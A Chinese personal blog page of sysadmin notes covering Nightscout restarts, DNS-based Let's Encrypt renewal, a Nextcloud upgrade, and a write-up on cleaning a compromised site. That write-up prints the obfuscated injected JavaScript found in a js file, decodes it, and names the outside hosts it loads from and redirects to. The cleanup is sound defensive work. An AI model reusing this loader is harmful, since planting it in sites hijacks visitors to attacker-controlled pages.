阿水的世界。

分类 网站相关 下的文章

12月 24

重启xdrip+的配套相关服务Nightcout

Nightcout是一个用于血糖数据收集的在线数据库,可用于xdrip+的数据同步。
在linux系统下,搭建的Nightcout因为使用了SSL,且证书过期,导致数据无法同步,显示SSL过期,重发证书后,无法使用npm stop dev停止该项目。

因为Nightcout使用的nodejs编写,可以通过查询node关键词获取进程id,然后用kill杀死进程,再重新启动Nightcout服务即可。

具体可使用如下命令:

  1. 使用netstat -nap | grep node命令查询id号,同时结合服务监听的端口来确定准确的id号
  2. 使用kill -9 id号杀死当前进程
  3. 使用npm run devnpm run proc重新启动服务即可。
06月 25

更新Let's Encrypt SSL证书(通过DNS方式验证)

刚刚,网站的Let's Encrypt SSL到期了,需要更新一下证书,但是不想通过80端口自动更新,想使用DNS验证的方式手动更新,
现在服务器已经安装过certbot,使用这个命令certbot-auto --manual --preferred-challenges dns certonly更新证书。
如果遇到这个错误:

Upgrading certbot-auto X.XX to X.XX.X...

Couldn't download https://raw.githubusercontent.com/certbot/certbot/v0.XX.0/letsencrypt-auto-source/letsencrypt-auto. <urlopen error [Errno 110] Connection timed out>

原因是:certbot-auto将始终尝试从最新版本中获取自身的最新版本。

解决方案:在命令后加 --no-self-upgrade 即可。即:

certbot-auto --manual --preferred-challenges dns certonly --no-self-upgrade

运行后,根据提示输入单个或多个域名,多个域名中间用英文逗号隔开,再次显示:

Please deploy a DNS TXT record under the name
_acme-challenge.XXXX.com with the following value:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Before continuing, verify the record is deployed.

这时需要更新域名的_acme-challenge解析值,解析完成后,使用nslookup命令可以查到相应的解析后,再点继续。
具体查询命令如下:

$ nslookup
> set type=txt
> _acme-challenge.XXXX.com
Server:    223.5.5.5
Address:    223.5.5.5#53

Non-authoritative answer:
_acme-challenge.XXXX.com    text = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

certbot提示证书更新成功后,重启网站服务即可。
lnmp重启nginx命令:sudo lnmp nginx restart

至此,SSL更新完成。

05月 11

一例挂马清理修复实录

刚刚,朋友发来信息,说他的网站登录后台会跳转到其他网站。我看了下,从手机上的登录后没有发现跳转问题,以为是他的电脑被装了插件。于是远程他的电脑,清理了一下系统,没发现问题,再次登录网站,访问同一个页面的时候还是会跳转,经过浏览器抓包发现页面跳转到了其他网站。
挂马拦截.jpg
判断是网页被挂马了,于是开始查找网页源代码。在访问的固定页面源代码中没发现问题,但是引用了两个文件,一个是<!--#include file="Admin_Common.asp"-->,一个是<script language="JavaScript" type="text/JavaScript" src="../js/date.js"></script>

源码引用了2个文件.jpg

仔细检查了两个文件后,发现date.js文件日期有问题,明显是被修改过了
js脚本被修改.jpg
js脚本内容.jpg
被挂了马并加密具体内容为:

var Uo1 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65']('\x48\x45\x41\x44')['\x69\x74\x65\x6d'](0); var KSFnLmPDG2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']("\x73\x63\x72\x69\x70\x74"); KSFnLmPDG2['\x74\x79\x70\x65'] = "\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74"; KSFnLmPDG2['\x73\x72\x63']="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x2e\x73\x64\x77\x33\x32\x2e\x63\x6f\x6d\x2f\x67\x65\x74\x61\x64\x6d\x69\x6e\x2e\x6a\x73"; Uo1['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64']( KSFnLmPDG2);

是url unicode加密。

继续破解加密内容,在记事本中将\x全部替换为%var Uo1 = window["%64%6f%63%75%6d%65%6e%74"]['%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65']('%48%45%41%44')['%69%74%65%6d'](0); var KSFnLmPDG2= window["%64%6f%63%75%6d%65%6e%74"]['%63%72%65%61%74%65%45%6c%65%6d%65%6e%74']("%73%63%72%69%70%74"); KSFnLmPDG2['%74%79%70%65'] = "%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74"; KSFnLmPDG2['%73%72%63']="%68%74%74%70%3a%2f%2f%73%2e%73%64%77%33%32%2e%63%6f%6d%2f%67%65%74%61%64%6d%69%6e%2e%6a%73"; Uo1['%61%70%70%65%6e%64%43%68%69%6c%64']( KSFnLmPDG2);

利用站长工具urldecode工具(http://tool.chinaz.com/tools/urlencode.aspx)进行解码,得到:

var Uo1 = window["document"]['getElementsByTagName']('HEAD')['item'](0); var KSFnLmPDG2= window["document"]['createElement']("script"); KSFnLmPDG2['type'] = "text/javascript"; KSFnLmPDG2['src']="http://s.sdw32.com/getadmin.js"; Uo1['appendChild']( KSFnLmPDG2);

浏览器访问http://s.sdw32.com/getadmin.js,得到window.location='http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name?ref=' + window.location.href;

继续访问http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name
出现问题跳转的页面,至此解密成功。

修复比较简单,将data.js文件中的挂马内容删除就可以了。

03月 31

换个服务器

去年买的服务器空间又到期了,重新换了个服务器,刚搭起来,看效果还不错。
Chrysanthemum.jpg

09月 29

nextcloud升级遇到的坑

前段时间发现nextcloud有新版本了,可以升级了。因此,继续开始折腾。
首先,登录后台,进入设置平台,选择概览,就可以看到右侧有升级提醒,我点击了现在下载按钮,但是……无法下载,网站连接不上=—_=|,所以,需要自己下载更新包。
获取下载更新包的地址:

  1. 点击“打开更新器”
  2. 从介绍中找到下载地址,用第三方软件,比如idm或者ndm下载可能速度会快一点
  3. 把压缩包放到你的nextcloud/data/updater-XXXXXXX/downloads中,“用户名-XXXXXXX”这个文件夹应该每个人都不同,需要自己去这个目录里查看。

正式开始更新

  1. 回到更新页面(就是刚才有下载安装包地址的那页
  2. 点击“start update”
    3.完成下边的好多步骤。……………………各种坑呀

首先遇到的坑是:存在一个asset的文件夹,我看了看,里边没有内容,好的,删除

重试,文件检查通过了,文件权限出了问题。需要对根目录下的各种文件有写权限

好的,给根目录下的各种文件进行赋权,660就行。".user.ini"权限不能修改,sudo都不行。百度一下午,怀疑文件被锁定了,用命令chattr -i .user.ini完美解锁,赋权660,搞定。

再试,.user.ini权限还是有问题,重新赋权666,搞定

再试,通过了,开始下载安装包……为什么我原来下载的安装包被删了O_o...为什么要自动重新下载???????

疯掉,继续等待系统自动下载……………………下载完成后再更新

不会下载完了,刚刚提示下载断开了。然后升级页面显示Step 4 is currently in process. Please reload this page later.

继续百度,发现需要找到网站data//updater-XXXXXXX/目录下的隐藏文件.step,将里面的内容由:

{"state":"start","step":4}
修改为:

{"state":"stop","step":5}
修改的内容根据页面显示的步骤加1 即可。

终于,完成正常升级了。

现在,可以正常使用我的云盘了。

PS:隔天登录了系统,又提示需要升级19.0.3
好吧,以上步骤重新再来一遍!@%……@!~@#¥%